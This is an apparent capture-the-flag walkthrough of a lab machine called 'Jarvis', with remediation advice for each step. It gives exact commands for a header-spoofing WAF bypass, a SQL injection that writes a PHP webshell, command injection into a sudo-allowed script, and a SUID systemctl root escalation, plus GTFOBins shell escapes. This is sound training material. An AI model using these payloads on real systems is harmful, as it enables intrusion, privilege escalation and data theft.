← all walkthroughs

Jarvis

Linux· Medium· Web
owned
2026-07-08
time to own
21m12s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

The Stark Hotel PHP booking application on port 80 exposed a SQL injection vulnerability in its room-lookup parameter. IronWAF 2.0.3, protecting both HTTP services, blindly trusted the X-Forwarded-For header supplied by the connecting client and skipped inspection when that header claimed a localhost origin — allowing me to spoof an internal source and bypass all protection.

With inspection disabled, a UNION-based SQL injection wrote a PHP webshell to the web root via MySQL's FILE privilege, yielding unauthenticated remote code execution as www-data. A no-password sudo rule permitted the web-server account to invoke an administrative Python utility as the user pepper; that script's ping feature passed unsanitised input directly to the shell, enabling command injection and lateral movement to pepper's account with the user flag.

Once operating as pepper, I found that /bin/systemctl carried the SUID bit for the pepper group. A malicious oneshot systemd service unit written to pepper's home directory and activated through the SUID binary executed as root, produced a setuid-root copy of /bin/bash, and granted full system control.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"

Attack path — how the box was taken

1EnumerationNetwork service enumeration (T1046)
Mapped open services and identified the Stark Hotel web application
A port scan of $TARGET revealed three open services: OpenSSH 7.4p1 on port 22, Apache 2.4.25 on port 80 hosting the Stark Hotel PHP booking application, and a second Apache 2.4.25 instance on port 64999. Both HTTP ports returned an IronWAF 2.0.3 response header and enforced a 90-second rate-limit ban on suspicious requests. The booking page at /room.php accepted a numeric cod parameter — a classic SQL injection target — and returned a normal 6204-byte response for a benign probe before the WAF triggered.
Nmap: 22/tcp OpenSSH 7.4p1, 80/tcp Apache/2.4.25, 64999/tcp Apache/2.4.25; curl http://$TARGET/ -> <title>Stark Hotel</title>; IronWAF: 2.0.3 header present on both ports.
Exact commands 3
Service and version scan across the three discovered ports.
nmap -Pn -sCV -p 22,80,64999 $TARGET
Confirm the application name and note the IronWAF header.
curl -i http://$TARGET/
Probe the booking endpoint; note the cod parameter for later injection.
curl -i "http://$TARGET/room.php?cod=1"
2EnumerationWAF bypass via HTTP header spoofing (T1562.001)
Bypassed IronWAF 2.0.3 by spoofing the X-Forwarded-For header to appear as localhost
IronWAF 2.0.3 blocked SQL injection probes with a 90-second ban. Testing showed the WAF trusted the X-Forwarded-For, X-Real-IP, and Client-IP headers as supplied by the connecting client to decide the request's apparent origin, and skipped inspection when any of those headers claimed a loopback address. Adding X-Forwarded-For: 127.0.0.1 to every subsequent request made the WAF treat the traffic as internal and pass it through uninspected, restoring full access to the SQL injection endpoint.
Curl with X-Forwarded-For: 127.0.0.1 returned HTTP 200 from room.php instead of the 404 ban page; all subsequent exploitation requests used these three headers.
Exact commands 1
A 200 OK response confirms the WAF bypass is active. If the ban page appears, wait 90 seconds before retrying.
curl -i -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Real-IP: 127.0.0.1' -H 'Client-IP: 127.0.0.1' "http://$TARGET/room.php?cod=1"
FixConfigure IronWAF to ignore proxy-identity headers from untrusted sourcesHigh
WeaknessIronWAF 2.0.3 trusted the X-Forwarded-For, X-Real-IP, and Client-IP headers as supplied by the connecting client to determine the request origin, and skipped all inspection when those headers claimed a loopback address. An unauthorised user could add these headers and render the WAF completely ineffective.
FixStrip or reject X-Forwarded-For, X-Real-IP, and Client-IP headers that arrive on external-facing interfaces before the WAF evaluates them. Accept these headers only from explicitly trusted upstream load balancers or reverse proxies identified by their real IP addresses. Apply WAF inspection uniformly to all connections regardless of header content.
3ExploitationUNION-based SQL injection with INTO OUTFILE file write (T1190, CWE-89)
Exploited UNION-based SQL injection to write a PHP webshell to the web root
With WAF inspection bypassed on every request, the cod parameter in room.php was confirmed unsanitised and passed raw into a MySQL query. A UNION SELECT payload added a seventh column containing a PHP one-liner and directed MySQL to write the resulting row to /var/www/html/xp.php using INTO OUTFILE. The MySQL application account held the FILE privilege and the web root was writable by the database process, so the write succeeded and placed an executable webshell at a public URL.
Curl UNION SELECT ... INTO OUTFILE '/var/www/html/xp.php' returned HTTP 200; subsequent GET /xp.php?cmd=id returned uid=33(www-data).
Exact commands 2
Write the webshell via SQLi. All three bypass headers must be included on this and every subsequent request.
curl -G "http://$TARGET/room.php" --data-urlencode "cod=-1 UNION SELECT 1,2,3,4,5,'<?php system(\$_GET[\"cmd\"]); ?>',7 INTO OUTFILE '/var/www/html/xp.php'-- -" -H 'X-Forwarded-For: 127.0.0.1' -H 'X-Real-IP: 127.0.0.1' -H 'Client-IP: 127.0.0.1'
Confirm RCE — expected: uid=33(www-data) gid=33(www-data).
curl "http://$TARGET/xp.php?cmd=id"
FixParameterise all database queries to eliminate SQL injectionCritical
WeaknessThe cod parameter in room.php was concatenated directly into a SQL query without prepared statements or type validation, allowing an unauthorised user to inject arbitrary SQL — including a file-write command — into a live database call.
FixRewrite every database query in the application to use PDO or MySQLi prepared statements with bound parameters so user-supplied values are never interpreted as SQL syntax. For numeric parameters such as cod, enforce server-side type validation and reject any value that is not a positive integer before it reaches the database layer.
4Post-ExploitationWeb shell command execution (T1505.003)
Ran commands as www-data and discovered a password-free lateral-movement path to pepper
The webshell permitted arbitrary shell command execution as www-data. Enumeration located the user flag at /home/pepper/user.txt and an administrative Python utility at /var/www/Admin-Utilities/simpler.py. Listing the sudo configuration revealed that www-data could invoke simpler.py as the pepper user without a password — a direct path to the next account.
Curl /xp.php?cmd=id -> uid=33(www-data); sudo -l showed (pepper) NOPASSWD: /var/www/Admin-Utilities/simpler.py; find located /home/pepper/user.txt.
Exact commands 3
Confirm execution context.
curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=id; hostname'
Locate the user flag and the admin utility.
curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=find /home -name user.txt 2>/dev/null; ls -l /var/www/Admin-Utilities/'
List sudo rights available to www-data; look for NOPASSWD entries.
curl --get "http://$TARGET/xp.php" --data-urlencode 'cmd=sudo -l'
FixRevoke MySQL FILE privilege and prevent the database process from writing to the web rootHigh
WeaknessThe MySQL user account used by the web application held the global FILE privilege, and the web-root directory (/var/www/html) was writable by the operating system user running MySQL. This combination allowed a SQL injection payload to write an executable PHP file directly into a publicly served location.
FixRevoke the FILE privilege from the application database account (REVOKE FILE ON *.* FROM 'appuser'@'localhost';) and restart MySQL. Set secure_file_priv in my.cnf to an empty value or a dedicated, non-web-accessible directory to prevent INTO OUTFILE from writing to arbitrary paths. Ensure the web root is owned by root with permissions that the www-data and mysql OS users cannot write to.
5Lateral MovementCommand injection in sudo-allowed script (T1059.004, CWE-78)
Pivoted to the pepper account via command injection in simpler.py's ping feature
The script /var/www/Admin-Utilities/simpler.py offered a ping function (-p flag) that read a target hostname or IP address from standard input and passed it to the shell without any sanitisation. Supplying a bash command-substitution expression — $(cmd) — as the ping target caused the embedded command to execute as the pepper user when simpler.py invoked the shell. This was used to redirect /home/pepper/user.txt to a world-writable staging file and read it back through the webshell, and to confirm arbitrary execution as pepper.
Piped '$(cat /home/pepper/user.txt>/tmp/u)' to simpler.py -p running as pepper via sudo; cat /tmp/u returned <user.txt>.
Exact commands 1
Injects a subshell into simpler.py's ping prompt, running as pepper. Replace the cat target with any command to execute as pepper.
curl --get "http://$TARGET/xp.php" --data-urlencode "cmd=printf '%s\n' '\$(cat /home/pepper/user.txt>/tmp/u)' | timeout 5 sudo -u pepper /var/www/Admin-Utilities/simpler.py -p 2>&1; cat /tmp/u 2>&1"
FixRemove the www-data sudo rule for simpler.py and eliminate its command injectionCritical
WeaknessA sudoers entry permitted the web-server account (www-data) to execute /var/www/Admin-Utilities/simpler.py as the pepper user without a password. The script's ping feature passed user-supplied input directly to the shell without sanitisation, so a bash command-substitution string submitted as a ping target executed arbitrary commands as pepper.
FixRemove the sudo entry that grants www-data the ability to run simpler.py as pepper — the web server process has no legitimate need for this privilege. If the utility must remain, rewrite the ping feature to call the ping binary via Python's subprocess module with a fixed argument list (shell=False) and validate the input against a strict allow-list of hostname/IP characters before use.
6Privilege EscalationSUID binary abuse — systemctl GTFOBins (T1548.001)
Abused a SUID /bin/systemctl binary to execute a malicious systemd service as root
Enumerating SUID binaries as pepper revealed that /bin/systemctl carried the SUID bit and was executable by the pepper group — a documented GTFOBins escalation path. A malicious oneshot systemd service unit was written to /home/pepper/r.service (an earlier attempt targeting /tmp failed silently because systemctl could not read a file not owned within the expected path context). The unit's ExecStart copied /bin/bash to /home/pepper/rootbash with the SUID bit set. Running systemctl link and systemctl enable --now through the SUID binary activated the unit as root. Invoking /home/pepper/rootbash -p gave a root-privilege shell from which root.txt was read.
Find / -perm -4000 2>/dev/null -> -rwsr-x--- root pepper /bin/systemctl; after enable --now, /home/pepper/rootbash showed -rwsr-xr-x root root; rootbash -p -> euid=0(root); root.txt -> <root.txt>.
Exact commands 4
Run as pepper to confirm the SUID systemctl at /bin/systemctl.
find / -perm -4000 -type f 2>/dev/null
Write the malicious unit under /home/pepper/ — not /tmp — so that systemctl can read it.
cat > /home/pepper/r.service << 'EOF'
[Unit]
Description=r
[Service]
Type=oneshot
ExecStart=/bin/sh -c "cp /bin/bash /home/pepper/rootbash; chmod 4755 /home/pepper/rootbash"
[Install]
WantedBy=multi-user.target
EOF
Activate the unit via the SUID binary; ExecStart runs as root and produces the setuid-root bash.
/bin/systemctl link /home/pepper/r.service && /bin/systemctl enable --now /home/pepper/r.service
Execute with elevated euid (root) and read the root flag; expected: <root.txt>.
/home/pepper/rootbash -p -c 'cat /root/root.txt'
FixRemove the SUID bit from /bin/systemctlCritical
WeaknessThe /bin/systemctl binary was configured with the SUID bit and was executable by members of the pepper group, allowing any pepper-group user to activate arbitrary systemd service units with root authority — a well-documented GTFOBins privilege-escalation path.
FixRemove the SUID bit immediately: chmod u-s /bin/systemctl. Manage systemd administration for non-root users through targeted polkit rules or narrow sudo entries scoped to specific, pre-vetted unit names rather than granting unrestricted SUID access to systemctl itself. Audit SUID and SGID binaries on a regular schedule with: find / -perm /6000 -type f 2>/dev/null.

Attack patterns used

The transferable techniques behind this compromise.

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting an unauthorised user alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003

What it is

When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.

Why it works

Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Exposed services

22/tcp
80/tcp
64999/tcp